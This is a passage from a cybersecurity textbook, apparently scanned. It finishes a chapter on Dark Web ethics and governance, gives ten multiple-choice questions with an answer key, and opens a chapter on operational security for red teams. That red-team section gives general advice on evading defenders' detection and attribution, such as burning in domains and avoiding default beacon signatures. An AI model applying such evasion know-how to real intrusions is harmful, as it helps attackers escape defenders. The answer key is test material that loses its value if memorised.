straints to prevent unethical data collection or analysis, can further reduce the risk of misuse.
Such measures are particularly critical given the rapid evolution of Dark Al capabilities,
which can easily be turned against even well-intentioned actors if controls are lax.

The emergence of Dark Al introduces a dual-use dilemma: the same technologies that
empower defenders to monitor and disrupt illicit activity can be harnessed by adversaries for
large-scale harm. Deepfake extortion, automated phishing, and adaptive cyberweapons dem-
onstrate how Al can amplify existing threats, while beneficial applications in threat detec-
tion underscore its potential for good. However, practices such as Al scraping of Dark Web
markets raise thorny ethical questions about privacy and surveillance, even when targeting
criminal actors. By adhering to rigorous ethical checklists and maintaining transparency,
organizations can mitigate the risks inherent in engaging with Dark Web content. The bal-
ance between security and civil liberties will define the next decade of cybersecurity practice,
and Dark Al is at the center of that debate.

4.5 FUTURE OUTLOOK: BUILDING ETHICAL DARKWEB
ECOSYSTEMS

The future of the Dark Web and other decentralized systems depends significantly on the
ability to embed ethical principles directly into their technical foundations. Decentralized
architectures, particularly blockchain-based systems, are inherently designed to resist cen-
sorship and centralized control, which makes traditional top-down ethical enforcement dif-
ficult. However, ethical principles can be built into these frameworks through several layered
strategies involving protocol-level governance, smart contract auditing, and algorithmic
transparency.

One potential approach is to design ethics-aware consensus algorithms. For example, tra-
ditional Proof-of-Work (PoW) and Proof-of-Stake (PoS) mechanisms could be extended to
Proof-of-Ethics (PoE) models. In PoE, nodes participating in consensus must not only vali-
date the integrity of transactions but also verify that they meet predefined ethical criteria.
This could include rejecting transactions associated with human trafficking, ransomware
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payments, or other illicit activities, using cryptographically secured threat intelligence data-
bases that operate on zero-knowledge proofs to preserve privacy. Such consensus designs
would need to be modular, allowing communities to adapt ethical parameters without fork-
ing the entire network.

Furthermore, Smart Contracts, which automate transactions on blockchain networks, can
be programmed with conditional ethical safeguards. For instance, a decentralized escrow
contract could require that service providers pass multi-layered verifications (e.g., cross-chain
identity checks and reputation audits) before funds are released. If the transaction is flagged
by an Al-based anomaly detection engine embedded into the blockchain’s sidechain, the con-
tract can hold the transaction until community validators approve it. These designs ensure
that ethical checks are integral to the system, not afterthoughts.

Another promising avenue is Decentralized Autonomous Organizations (DAOs). DAOs
enable distributed stakeholders to vote on governance policies, including ethical standards,
by submitting proposals on-chain. These policies could involve allocating funds toward
auditing tools, blacklisting known criminal marketplaces, or incentivizing projects focused
on legitimate Dark Web services (e.g., whistleblowing platforms). Importantly, DAOs can
employ quadratic voting and other mechanisms to reduce the dominance of large stakehold-
ers and foster more democratic decision-making.

Lastly, privacy-preserving analytics can help embed ethics without violating user anonym-
ity. Technologies such as differential privacy, secure multi-party computation (SMPC), and
homomorphic encryption allow decentralized networks to monitor macro-level activity pat-
terns without de-anonymizing individuals. For example, SMPC can help detect network-wide
abuse patterns (e.g., botnet traffic or sudden surges in illicit trade) without revealing the iden-
tities behind specific wallets or nodes. Such approaches demonstrate that ethics and privacy
do not have to be mutually exclusive, even in highly decentralized ecosystems. Embedding
ethical principles in decentralized systems will not eliminate misuse entirely, but it can estab-
lish structural constraints and incentives that discourage harmful behavior. Future research
must focus on designing flexible ethical frameworks that can adapt as threats evolve, ensur-
ing that these systems remain resistant to abuse while preserving their decentralized integrity.

One of the most promising pathways for building ethical Dark Web ecosystems is the estab-
lishment of self-regulating communities. Unlike the traditional internet, where centralized
platforms enforce policies, decentralized networks rely heavily on collective governance. This
makes robust reputation systems and community-driven oversight critical. Self-regulating
communities function similarly to open-source software projects, where users contribute to
governance through active participation, code auditing, and dispute resolution. On the Dark
Web, such communities could employ multi-tier reputation scoring mechanisms. Each user,
node, or vendor can accumulate trust points based on factors such as transaction history,
peer endorsements, and adherence to community-defined ethical norms. Advanced imple-
mentations would involve decentralized identity (DID) frameworks, where users’ reputations
are cryptographically tied to verifiable credentials without exposing real-world identities.

These reputation systems can be fortified using Web of Trust (WoT) models combined
with Al-based anomaly detection. For instance, a vendor selling goods on a decentralized
marketplace could be assigned a dynamic trust score. The system would analyze on-chain
metrics (e.g., transaction completion rates and dispute frequency) and off-chain signals (e.g.,
darknet threat intelligence feeds) to adjust scores in real time. Vendors engaged in unethical
or fraudulent activities would see their scores plummet, effectively ostracizing them from the
community. Such models mirror the credit scoring systems of the traditional financial sector
but are adapted to preserve anonymity.

Another layer of self-regulation involves community courts or arbitration mechanisms.
These could be implemented through DAOs, where disputes are resolved by a randomly
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selected group of community members who review the evidence using privacy-preserving
tools. Decisions can be enforced by smart contracts, ensuring that penalties or refunds are
automatically executed without external intervention. This eliminates the need for central
authorities while upholding ethical standards.

Incentive mechanisms also play a crucial role. Ethical behavior could be rewarded through
staking models, where users who maintain high reputation scores earn reduced transac-
tion fees, enhanced visibility in marketplaces, or token-based rewards. Conversely, unethi-
cal actors could have their staked tokens slashed if found guilty of policy violations. These
mechanisms create a strong financial disincentive for harmful behavior.

A unique opportunity lies in inter-community alliances. Dark Web ecosystems often exist
in silos, but federated reputation systems could allow trustworthy nodes to share ethical
signals across networks. For example, if a vendor is banned from one marketplace for illegal
activities, their reputation hash could be distributed across other networks using a zero-
knowledge proof, preventing them from re-entering the ecosystem unnoticed.

By combining decentralized identity, dynamic reputation scoring, and incentive-aligned
arbitration, self-regulating communities can become the de facto ethical guardians of the
Dark Web. Unlike top-down approaches, these systems grow stronger as they scale, as the
collective intelligence of the community continuously refines ethical boundaries.

The evolution of technologies like Web3, quantum cryptography, and Al-powered ano-
nymity tools presents a complex landscape of predictive ethical challenges. While these
innovations strengthen privacy and decentralization, they also increase the potential for
misuse.

e Web3 and Ethical Dilemmas: Web3 ecosystems prioritize user sovereignty and data
ownership, which can inadvertently enable harmful activities. For example, the rise of
non-custodial wallets and decentralized exchanges (DEXs) makes it nearly impossible
to trace or reverse illicit transactions. Future Web3-based Dark Web ecosystems could
integrate fully decentralized hosting solutions, making illegal marketplaces effectively
indestructible. Ethically, this raises the question of how to balance absolute censorship-
resistance with societal obligations to combat cybercrime.

¢ Quantum Cryptography Threats: Quantum computing threatens the very crypto-
graphic primitives that secure decentralized networks. Algorithms like RSA and ECC,
which underpin blockchain-based identities and smart contracts, could be broken by
sufficiently powerful quantum computers using Shor’s algorithm. While post-quantum
cryptography (PQC) is under development, the Dark Web may become a haven for
actors exploiting unpatched systems vulnerable to quantum attacks. Additionally,
quantum-resistant encryption could make law enforcement surveillance practically
impossible, creating ethical tensions between privacy and accountability.

o Al-Powered Anonymity: Al-driven tools, particularly GANs and federated learning
models, will enable unprecedented levels of anonymity. Deepfake-based voice and
image masking, Al-generated identities, and adaptive traffic obfuscation algorithms will
make attribution efforts nearly impossible. Moreover, Al could automate sophisticated
phishing campaigns or ransomware operations, allowing malicious actors to scale harm
with minimal human intervention.

A unique ethical challenge lies in predictive misuse detection. Traditional reactive measures
will be insufficient in the face of Al-enabled threats. Future Dark Web ecosystems may need
to employ predictive analytics tools capable of forecasting harmful behaviors before they
occur. This could involve training AI models on anonymized metadata (e.g., transaction
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patterns, temporal activity spikes) using federated learning to avoid centralizing sensitive
data. However, predictive policing approaches risk false positives and could inadvertently
harm innocent users, raising concerns about algorithmic bias and due process.

Another looming issue is the weaponization of decentralized autonomous systems.
Malicious actors could deploy self-sustaining Al agents on blockchain networks that autono-
mously recruit nodes, distribute illicit content, or manage ransomware operations. Because
these agents are fully decentralized and self-funding, shutting them down would be nearly
impossible. Designing countermeasures for such scenarios will require international collabo-
ration and possibly the development of ethical kill-switch protocols embedded into future
decentralized networks. To mitigate these predictive ethical challenges, interdisciplinary
efforts are essential. Post-quantum cryptographic standards must be adopted proactively,
Al-driven ethical auditing frameworks must be developed, and global cyber norms must be
updated to address decentralized threats. Without such measures, the convergence of Web3,
quantum cryptography, and Al-powered anonymity could produce Dark Web ecosystems
that are functionally ungovernable.

A systematic framework is essential for assessing whether a Dark Web activity is ethically
defensible. Unlike traditional internet governance, where clear legal frameworks often guide
decisions, Dark Web ecosystems must rely on structured ethical decision-making processes.
Below is a conceptual flowchart and technical explanation.

1. Intent Assessment
a. Is the activity intended to protect fundamental rights (e.g., whistleblowing and jour-
nalistic freedom) or to cause harm (e.g., cybercrime and child exploitation)?
b. If the intent is harmful, the activity is ethically indefensible.

2. Impact Analysis
a. Does the activity disproportionately harm individuals, communities, or global
security?
b. Employ quantitative harm models using weighted metrics (financial loss, psycho-
logical harm, systemic disruption).
c. If net harm outweighs net benefit, the activity is ethically indefensible.

3. Consent and Autonomy
a. Are all affected parties capable of informed consent?
b. Use cryptographically verifiable consent protocols (e.g., consent tokens) where
applicable.
c. Activities violating autonomy without compelling justification fail the ethical test.

4. Legality Check
a. Does the activity comply with applicable laws or internationally recognized norms?
b. Legal non-compliance does not automatically imply ethical indefensibility (e.g., cir-
cumventing censorship in authoritarian regimes), but it requires further scrutiny.

5. Reversibility and Accountability
a. Can the activity be reversed if unintended harm occurs?
b. Are actors accountable through reputation systems, community courts, or DAOs?
c. Irreversible actions without accountability structures are generally indefensible.

This ethical decision framework can be implemented as an Ethical Validation Module (EVM)
embedded into Dark Web platforms. When users attempt an action, the EVM prompts a
series of automated and community-driven checks based on the flowchart above.
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1. Machine Learning Classifiers: Al models trained on historical data can classify actions
as high, medium, or low ethical risk based on metadata such as transaction context,
counterparties, and content descriptors.

2. Decentralized Oracles: Oracles can pull external ethical risk indicators (e.g., association
with sanctioned entities) into smart contracts.

3. Community Review Layers: Activities flagged as ambiguous can be escalated to com-
munity validators using a blinded voting system to preserve user anonymity.

Building ethical Dark Web ecosystems is not a utopian concept but a feasible future trajectory
if technical and community-driven safeguards are implemented at every layer. Embedding
ethical principles in decentralized architectures, fostering robust self-regulating communities,
anticipating emerging challenges from Web3 and quantum technologies, and codifying ethical
decision frameworks are all critical steps in achieving this vision. The ultimate challenge lies
in balancing privacy and freedom with accountability and harm prevention. As decentralized
technologies evolve, ethical engineering must evolve alongside them, ensuring that the Dark
Web’s powerful tools for anonymity and resistance to censorship are not overshadowed by
their potential for abuse. The path forward will require unprecedented collaboration among
technologists, ethicists, policymakers, and the communities themselves to ensure that future
Dark Web ecosystems become secure, resilient, and ethically defensible.

4.6 BALANCING PRIVACY, FREEDOM,AND SAFETY

The digital age has amplified longstanding philosophical and ethical paradoxes, none more
profound than the tension between freedom and control, and privacy and security. The Dark
Web, an intentionally hidden segment of the internet accessible via anonymity-focused tech-
nologies like Tor, I2P, and Freenet, represents a living embodiment of these paradoxes. At its
core, the Dark Web was conceived as a privacy-preserving ecosystem, enabling dissidents,
whistleblowers, journalists, and marginalized communities to communicate without fear of
surveillance or censorship. However, the same infrastructure that shields legitimate actors
from authoritarian overreach also provides cover for illicit markets, ransomware syndicates,
and child exploitation networks. This dual-use nature of anonymity technologies creates a
formidable challenge for governments, cybersecurity professionals, and policymakers who
seek to preserve civil liberties while ensuring public safety.

The paradox of freedom vs. control becomes evident when we examine regulatory and
technical interventions in Dark Web ecosystems. Excessive control, such as aggressive law
enforcement takedowns, mass surveillance, or backdoor mandates, may erode trust in dig-
ital communication infrastructures and push communities deeper into untraceable, hard-
ened anonymity layers. On the other hand, absolute freedom with minimal oversight can
embolden actors engaged in cybercrime, terrorism, and disinformation campaigns. This tug-
of-war often leads to polarizing narratives, with privacy advocates warning of an Orwellian
surveillance state and security agencies emphasizing the existential threat posed by unmoni-
tored criminal activity. Any attempt at striking a balance must acknowledge that neither
extreme is tenable; instead, it requires a framework that upholds constitutional rights while
enabling targeted, proportionate interventions against malicious actors.

The second ethical paradox, privacy vs. security, is equally complex in Dark Web ecosys-
tems. The very technologies that enable privacy, end-to-end encryption, onion routing, and
decentralized naming systems also obscure the digital footprints that security practitioners
rely upon for attribution and incident response. For instance, blockchain-based cryptocur-
rencies like Monero or Zcash, which offer untraceable transactions, are invaluable tools for
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political activists in oppressive regimes but are also the preferred currencies for ransomware
operators. Similarly, the same OnionShare tools used by investigative journalists to exchange
sensitive documents securely can facilitate the sale of weapons or narcotics. The ethical chal-
lenge arises in determining how much privacy is “too much” when it directly undermines
collective security, and conversely, how much security infrastructure is justified without
encroaching upon fundamental human rights.

A critical technical dimension of this paradox involves data collection methodologies on
the Dark Web. Traditional security measures rely on IP-based attribution, metadata analysis,
and centralized chokepoints. Dark web ecosystems circumvent these techniques by design,
leveraging decentralized hosting, obfuscated network paths, and anonymity-preserving cryp-
tography. As a result, law enforcement agencies often resort to advanced network exploi-
tation tactics, such as traffic correlation attacks, malware implants, or deanonymization
exploits against suspected actors. While effective in some cases, these methods raise ethical
questions about collateral damage, as they may inadvertently compromise the privacy of
innocent users. Moreover, the deployment of offensive cyber capabilities by state actors blurs
the line between defensive security operations and active surveillance, further eroding trust
in digital institutions.

From a governance perspective, global jurisdictional conflicts exacerbate these ethical par-
adoxes. The Dark Web is inherently transnational, and data packets routinely traverse multi-
ple jurisdictions with varying legal standards. An action considered lawful under one nation’s
security framework may constitute a violation of privacy rights under another. This lack of
harmonization complicates collaborative takedown operations and fosters safe havens for
malicious actors who exploit regulatory arbitrage. The case of Silk Road, one of the earli-
est and most prominent Dark Web marketplaces, demonstrated that dismantling centralized
platforms often leads to the proliferation of decentralized successors that are even more resis-
tant to intervention. Thus, conventional top-down control strategies are not only ethically
fraught but also strategically counterproductive.

To address these paradoxes, future Dark Web governance must embrace multi-stakeholder
cooperation between governments, academia, civil society, and the private sector. Technical
communities can play a crucial role in developing privacy-preserving investigative tools
that minimize overreach. For example, privacy-enhanced selective disclosure protocols or
zero-knowledge proofs could allow law enforcement to verify illicit activities without indis-
criminately surveilling all users. Simultaneously, policymakers must resist the temptation
to mandate encryption backdoors or universal digital identity schemes, as these measures
introduce systemic vulnerabilities that could be exploited by adversaries. Instead, a nuanced
approach that integrates differential privacy, federated threat intelligence sharing, and trans-
parent oversight mechanisms is required to build trust among diverse stakeholders.

Another dimension often overlooked is the sociological impact of Dark Web ecosystems
on users’ perception of state authority. Heavy-handed censorship or sweeping surveillance
can alienate communities and drive them into more clandestine networks, where extremist
ideologies or criminal enterprises thrive. Conversely, a rights-respecting security strategy that
prioritizes transparency and accountability can foster public cooperation, making it easier to
identify and isolate harmful actors. For instance, community-driven threat reporting mecha-
nisms, bolstered by strong whistleblower protections, could empower users to self-regulate
certain aspects of the Dark Web without constant external enforcement.

In reflecting upon these paradoxes, it is evident that balancing freedom, privacy, control,
and security is not a static endpoint but a continuous adaptive process. Technological inno-
vations will invariably shift the equilibrium, as emerging paradigms like quantum-resistant
cryptography, DAOs, and artificial intelligence-enhanced deanonymization tools reshape the
threat landscape. Ethical frameworks must therefore be flexible enough to accommodate
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these shifts without resorting to binary choices. In essence, the future of Dark Web gover-
nance hinges upon proportionality, resilience, and inclusivity, ensuring that security measures
do not disproportionately burden vulnerable populations while simultaneously mitigating
systemic risks.

Given the intricate paradoxes outlined above, there is an urgent need for a structured
ethical decision-making model tailored specifically for Dark Web governance. This model
must be capable of guiding policymakers, law enforcement, and cybersecurity practitioners
through complex trade-offs without compromising fundamental principles. Unlike generic
ethics frameworks, a domain-specific model should integrate technical, legal, and sociocul-
tural dimensions of Dark Web ecosystems.

Step |: contextual threat and stakeholder mapping

The first step in any ethical decision-making process is to comprehensively map the threat
landscape and identify the stakeholders affected by potential actions. This involves not only
cataloging known Dark Web threats, such as illegal marketplaces, ransomware infrastruc-
ture, extremist forums, and data breach repositories but also understanding the broader eco-
system in which they operate. Threat intelligence must be augmented by contextual metadata
analysis, which includes studying the motivations, communication patterns, and financial
flows of actors. Stakeholder mapping must extend beyond government agencies and law
enforcement to encompass journalists, researchers, civil society groups, and end users whose
rights may be impacted by security interventions.

Step 2: principle-based ethical filters

Once the context is established, policymakers must apply principle-based ethical filters to pro-
posed interventions. These filters should be derived from universally recognized frameworks
such as the Universal Declaration of Human Rights (UDHR) and the Budapest Convention
on Cybercrime but adapted for the digital domain. Key principles include:

Legitimacy: Does the intervention align with established legal mandates?
Necessity: Is the action essential to prevent significant harm, or are there less intrusive
alternatives?

¢ Proportionality: Does the scale of the intervention correspond to the severity of the
threat?

e Transparency and Accountability: Are there mechanisms for independent oversight and
public reporting? Applying these filters ensures that decisions are not purely reactionary
but rooted in a consistent ethical framework.

Step 3: technical feasibility and privacy-enhancing safeguards

Many well-intentioned security measures fail because they ignore technical realities or intro-
duce unintended vulnerabilities. Policymakers must collaborate with technical experts to
evaluate the feasibility and collateral impacts of proposed interventions. For example, man-
dating decryption keys or inserting backdoors into encryption protocols may achieve short-
term investigative gains but undermine global cybersecurity in the long run. Instead, the
model advocates for the integration of privacy-enhancing technologies (PETs) into investiga-
tive workflows. Techniques such as SMPC, homomorphic encryption, and differential privacy
can enable data analysis without direct exposure of sensitive information. This minimizes the
risk of violating innocent users’ privacy while maintaining investigative effectiveness.
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Step 4: scenario-based impact assessments

The ethical decision-making model must incorporate scenario-based impact assessments that
evaluate both intended and unintended consequences. This requires the use of predictive
modeling, red-teaming exercises, and adversarial simulations to anticipate how Dark Web
communities might adapt to new policies or takedown operations. For instance, disman-
tling a centralized illicit marketplace may temporarily disrupt criminal operations but could
also drive them into more decentralized and resilient platforms, thereby complicating future
investigations. By stress-testing potential actions against multiple scenarios, policymakers
can better gauge the long-term sustainability of their strategies.

Step 5: multi-stakeholder deliberation and iteration

Ethical decisions in Dark Web governance cannot be made in isolation. The model emphasizes
multi-stakeholder deliberation, bringing together legal scholars, technical experts, human
rights advocates, and affected communities in structured dialogues. Such deliberation helps
identify blind spots and mitigates the risk of groupthink. Moreover, the decision-making
process must be iterative, with continuous monitoring and feedback loops to assess the effi-
cacy and ethicality of interventions over time. This dynamic approach ensures that strategies
remain adaptive to evolving technologies and threat vectors.

Step 6:institutionalizing oversight and redress mechanisms

A critical component of the model is the establishment of robust oversight and redress
mechanisms. These mechanisms provide checks and balances to prevent abuse of power and
offer avenues for individuals or communities to contest unjust actions. Independent audit
boards, ombudspersons, and public transparency reports can help maintain accountability.
Additionally, there should be mechanisms for remediation and harm reduction, particularly
for collateral victims of investigative actions, such as users whose personal data is inadver-
tently exposed.

Step 7: global harmonization and norm-building

Because Dark Web ecosystems are inherently global, the ethical decision-making model must
prioritize international coordination. This involves harmonizing legal standards across juris-
dictions, fostering cross-border information sharing, and engaging in norm-building exer-
cises at multilateral forums. Initiatives like the Global Forum on Cyber Expertise (GFCE)
and the United Nations’ Open-Ended Working Group (OEWG) on ICT security can serve
as platforms for articulating common principles. By embedding ethical considerations into
global cyber norms, policymakers can reduce the fragmentation that allows malicious actors
to exploit jurisdictional loopholes.

Step 8: continuous education and capacity building

Finally, the model emphasizes capacity building for all stakeholders. Policymakers and prac-
titioners must be trained not only in technical and legal aspects but also in ethical reason-
ing and human rights law. Similarly, the general public should be educated about the risks
and responsibilities associated with Dark Web usage. Investing in educational initiatives and
open-source research can foster a more informed community capable of contributing to ethi-
cal self-regulation.
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What sets this ethical decision-making model apart is its integration of cutting-edge tech-
nical safeguards and foresight strategies. For example, the model advocates for the develop-
ment of algorithmic ethics auditing tools that can automatically flag interventions likely to
cause disproportionate harm. It also recommends leveraging machine learning-driven anom-
aly detection in a way that preserves anonymity, by analyzing encrypted traffic patterns with-
out decrypting content. Additionally, decentralized reputation systems could be used within
Dark Web ecosystems to allow communities to self-police illicit activities without centralized
oversight, thereby reducing the need for intrusive external interventions.

Another unique aspect is the focus on quantifiable ethical metrics. Traditional policy
frameworks often rely on qualitative assessments, but this model suggests developing key
performance indicators (KPIs) for ethical outcomes. These could include measures of false
positives in surveillance operations, levels of community trust in oversight mechanisms, and
the degree of collateral harm avoided. By embedding quantifiable metrics, policymakers can
make evidence-based adjustments to maintain ethical equilibrium.

Building ethical Dark Web ecosystems requires more than piecemeal interventions; it
demands a paradigm shift toward adaptive, trust-based governance. Future innovations in
decentralized technologies, quantum-resistant cryptography, and Al-enhanced cyber defense
will undoubtedly reshape the landscape. If approached thoughtfully, these technologies could
enable unprecedented levels of privacy and security without the zero-sum trade-offs that
currently dominate the discourse. However, if ethical considerations are sidelined, the same
innovations could entrench digital authoritarianism or empower criminal enterprises beyond
the reach of law enforcement. In the long term, success will hinge upon the ability of global
societies to co-create ethical infrastructures that respect diversity of values while upholding
universal principles. This involves not only rethinking the technical architectures of anonym-
ity networks but also fostering cultural norms of responsible digital citizenship. As Dark Web
ecosystems evolve, they must be guided by a shared commitment to protecting the vulnerable,
deterring harm, and preserving the freedoms that underpin democratic societies. Through
principled decision-making, transparent oversight, and continuous innovation, it is possible
to reconcile the ethical paradoxes of freedom, control, privacy, and security in a manner that

benefits all stakeholders.

4.7 CONCLUSION

The ethical challenges of the Dark Web lie at the intersection of freedom, privacy, and secu-
rity. Anonymity and decentralization, while essential for protecting human rights in repres-
sive environments, also create opportunities for criminal exploitation. This chapter concludes
that a binary approach, either full control or complete laissez-faire, fails to address the
nuanced realities of Dark Web ecosystems. Instead, building sustainable and ethical frame-
works requires embedding ethics into the technical and governance layers of these networks.
Mechanisms such as DAOs, reputation-based systems, and algorithmic consensus models like
PoE can help communities self-regulate while preserving anonymity. Future strategies must
also integrate privacy-preserving analytics, differential privacy, and zero-knowledge proofs
to detect abuse without indiscriminate surveillance. International collaboration is crucial for
harmonizing legal standards and closing jurisdictional gaps, while Al-driven tools should be
leveraged responsibly for threat detection and community safety. Ultimately, the evolution
of the Dark Web will depend on the collective ability of technologists, policymakers, and
users to balance individual freedoms with societal responsibilities. Ethical Dark Web ecosys-
tems must promote transparency, trust, and resilience, ensuring that technological innovation
serves the public good while minimizing harm in a rapidly shifting digital landscape.
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MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. A cybersecurity analyst finds a database of leaked hospital records on a Dark Web
forum. While the intent is to report the breach responsibly, accessing the data itself
might breach ethical and legal codes. What’s the most ethical approach to this situation?
a. Download and verify the breach internally
b. Share the link with the hospital’s IT team
c. Report the breach with metadata, not content
d. Ignore the leak to avoid involvement

Correct Answer: c) Report the breach with metadata, not content

Explanation: Reporting metadata (e.g., forum name, timestamp, and type of data)
ensures responsible disclosure while avoiding legal violations from possessing stolen
data.

2. While investigating a cybercrime group, an investigator joins a Dark Web forum under
a fake identity. Over time, they’re offered access to illicit tools in exchange for contribu-
tion. What is the most ethically justified action?

a. Accept the tools but avoid using them
b. Inform law enforcement and disengage
c. Publicly expose the forum members

d. Use the tools for research purposes

Correct Answer: b) Inform law enforcement and disengage
Explanation: Collaborating with criminal actors—even passively—compromises integ-
rity. Reporting and disengaging balance duty and ethical boundaries.

3. An Al engineer designs a crawler to monitor Dark Web forums for child exploitation
material. However, some images get cached locally for analysis. What is the primary
ethical concern here?

a. Crawler speed

b. Bypassing CAPTCHA

c. Inadvertent possession of illegal content
d. Detection by forum admins

Correct Answer: c) Inadvertent possession of illegal content
Explanation: Even unintentional possession of child exploitation material is illegal and
unethical. Tools must prevent any such caching during analysis.

4. A whistleblower uploads government corruption evidence on a Dark Web whistleblow-
ing platform. A journalist considers publishing it. Which principle should primarily
guide the journalist?

a. The legality of accessing Tor

b. The public interest and source protection
c. Verifying the site’s blockchain ID

d. Using a VPN to stay anonymous

Correct Answer: b) The public interest and source protection
Explanation: Responsible journalism hinges on public interest and safeguarding whis-
tleblowers, even on the Dark Web.

5. A researcher uses the Dark Web to monitor ransomware trends and discovers a decryp-
tion key being sold. The researcher’s employer suggests purchasing it to help a victim
company. What is the ethical issue with this?
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Key may be faulty

Payment may fund future crimes
Key might not be compatible

It could be outdated

o oe

Correct Answer: b) Payment may fund future crimes
Explanation: Paying cybercriminals legitimizes and sustains their activities, raising ethi-
cal and legal concerns.

. An ethical hacker is hired to audit an organization’s data exposure on Dark Web mar-

kets. They find credential dumps from previous employees. What is the appropriate
next step?

a. Report to HR for legal action

b. Use credentials to test login portals

c. Notify the employees and rotate passwords

d. Validate the dump without using credentials

Correct Answer: d) Validate the dump without using credentials
Explanation: Ethical handling of breaches involves verifying authenticity without
engaging in unauthorized access attempts.

A graduate student’s thesis involves analyzing political discourse on the Dark Web.
Some forums include extremist content. The Institutional Review Board (IRB) is con-
cerned. What should the student do to continue ethically?

a. Proceed without publishing results

b. Use anonymized datasets and seek IRB exemption

c. Abandon the topic

d. Mirror the site for offline analysis

Correct Answer: b) Use anonymized datasets and seek IRB exemption
Explanation: Ethical research involving human or sensitive data must comply with IRB
and anonymization standards.

. While reviewing Onion sites for academic work, a professor stumbles upon a zero-day

exploit offered for sale. What should the professor ethically and professionally do?
a. Purchase it to study safely

b. Report the site to cybersecurity authorities

c. Share it with students as a case study

d. Use it to test lab systems

Correct Answer: b) Report the site to cybersecurity authorities
Explanation: Sharing or purchasing exploits, even for academic curiosity, violates ethi-
cal norms and legal frameworks.

A cybersecurity startup trains its Al on logs scraped from various Dark Web forums.
Some of the data includes usernames and PII. What is the key ethical flaw in this data
pipeline?

a. Low data quality

b. Lack of user consent

c. High server costs

d. Poor performance on validation sets

Correct Answer: b) Lack of user consent
Explanation: Using personal data—even from illicit sources—without consent raises
serious ethical and privacy concerns.



Ethics on the Dark Web |15

10. A privacy advocate argues that anonymizing technologies like Tor are ethically neutral.
In contrast, law enforcement believes they enable criminal misuse. From a cybersecurity
ethics lens, what best captures the truth?

a. Technologies are inherently ethical or unethical
b. Tor is legal but morally wrong

c. Use defines ethical standing, not the tool

d. Law enforcement’s view is always authoritative

Correct Answer: c) Use defines ethical standing, not the tool
Explanation: Tools like Tor are dual-use; their ethical implications depend on user
intent, not the technology itself.



Chapter 5

The rise of OpSec & anonymity

5.1 INTRODUCTION

In the covert world of espionage and modern cyber conflict, where the stakes are often exis-
tential for actors on both sides, the concept of operational security, commonly known as
OpSec, has evolved into a discipline that transcends its military roots. Originally system-
atized during the Vietnam War by U.S. military strategists under the code name “Purple
Dragon,” OpSec was devised as a counterintelligence strategy aimed at reducing inadvertent
disclosures that could compromise troop movements or strategic plans. What began as a tac-
tical safeguard in war zones has grown into a multi-dimensional framework for safeguarding
critical information in the digital domain. From its roots in military intelligence, OpSec has
been gradually adopted and adapted by law enforcement, corporations, intelligence agencies,
and, more recently, offensive cybersecurity professionals.

At its core, OpSec is not merely a set of rules or protocols; it is a mindset. It is the art of
identifying what information could harm an operation if exposed, and then developing and
enforcing practices to conceal, obscure, or compartmentalize that information. This disci-
pline becomes particularly critical in an era where cyber activities often leave a trail, and
where even minor missteps can result in attribution, infrastructure exposure, or legal conse-
quences. Whether in the form of leaked metadata, reused domains, or predictable behavioral
signatures, every operational element becomes a potential liability if not carefully managed.
In modern cybersecurity operations, especially those involving offensive simulations such as
Red Team exercises, OpSec has become not just beneficial but essential. These teams emu-
late real-world attackers within corporate or governmental networks to test the strength of
defensive systems. However, unlike real adversaries who operate under a veil of malicious
intent, Red Teams are typically contracted for sanctioned engagements. The irony is that
these “friendly adversaries” must maintain the same, if not higher, levels of discretion as
actual threat actors. This is because they operate under regulatory oversight, within environ-
ments rich with logging and surveillance systems, and often with insider defenders actively
hunting for anomalies.

The adversarial landscape for a Red Team is multilayered. On one hand, they face defend-
ers embedded within the organization (Blue Teams) who often wield advanced tools like
Endpoint Detection and Response (EDR), Extended Detection and Response (XDR), and
Security Information and Event Management (SIEM) platforms. On the other hand, there
are passive observers, both internal and external, who collect threat intelligence based on IP
reputation, domain registration records, or DNS behavior. Open-source intelligence tools like
Shodan, RiskIQ, and various passive DNS archives also pose a constant threat to anonym-
ity. Thus, any lapse in OpSec does not merely endanger a single operation; it can unravel an
entire infrastructure, compromise future engagements, or even expose consulting firms to
reputational damage.
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A disciplined OpSec framework begins with an understanding of “critical information.”
This term refers not only to obviously sensitive data, such as IP addresses or command-and-
control (C2) domains, but to anything that, when pieced together, could reveal operational
intent, actor identity, or infrastructure topology. This might include time-based login pat-
terns, scripting styles, command sequences, software versions, or even the naming conven-
tions used in virtual machines or beacon configurations. The aggregation of small details
often becomes the vector of exposure, especially when analyzed over time.

One of the most common causes of OpSec failure in Red Team operations is the reliance on
default tooling or poorly segregated infrastructure. Many tools come with predictable default
behaviors, such as standard User-Agent strings or beaconing intervals that can be easily fin-
gerprinted by a savvy defender. Likewise, domains and IPs that are hastily acquired without
adequate “burn-in” or aging, or reused across engagements, quickly attract the attention
of threat intelligence platforms. Even simple missteps like reusing usernames, passwords,
or project identifiers can allow defenders to correlate activity across exercises. The result?
Burned infrastructure, compromised scenarios, and in worst-case scenarios, legal or regula-
tory fallout if the simulation disrupts real business operations or customer data. This is not
theoretical; it has played out repeatedly in both adversarial and simulation environments.
Take, for example, the case of APT28 (also known as Fancy Bear), a Russian-linked advanced
persistent threat group. According to multiple cybersecurity incident reports, their failure
to compartmentalize domains led to the rapid dismantling of key command infrastructure.
Investigators were able to trace and blacklist large parts of their operational network sim-
ply through poor domain hygiene. While APT28 was a real-world actor, the lesson applies
equally to Red Teams: predictable infrastructure kills operational stealth.

Even in legitimate Red Team scenarios, there have been numerous documented cases where
clients have prematurely detected the simulated attacker due to lazy configurations. Public
reports from cybersecurity firms such as Black Hills Information Security and SpecterOps
have revealed instances where beaconing behaviors were reused across clients, or where user-
names embedded in payloads gave away the source of the exercise. In one case, a reused
malware hash triggered antivirus alerts due to prior VirusTotal submissions. In another, logs
revealed that a C2 server was used in a previous engagement, allowing defenders to trace
back the operation’s origin. These are not failures of tooling, but they are failures of OpSec
discipline.

For Red Team operators, every engagement must be approached with the mindset that
it will be scrutinized retroactively. Today’s “simulation” may become tomorrow’s forensic
investigation. Logs are retained, backups are archived, and systems are monitored in perpetu-
ity. What is invisible today may be visible a month, a year, or a decade later with improved
detection tooling or threat-hunting methodologies. This is why the assumption of invisibility
is dangerous. Instead, the presumption must be that everything is being recorded and will
eventually be correlated. Artifacts left behind, no matter how insignificant, can be stitched
together to reconstruct the entire operational chain.

The concept of anonymity, which runs parallel to OpSec, has also undergone a radical
transformation in the age of digital transparency. Once the preserve of spies and whistleblow-
ers, anonymity has become a core pillar for ethical hackers, journalists, cybercriminals, and
digital activists alike. On the Dark Web, where attribution can mean incarceration or worse,
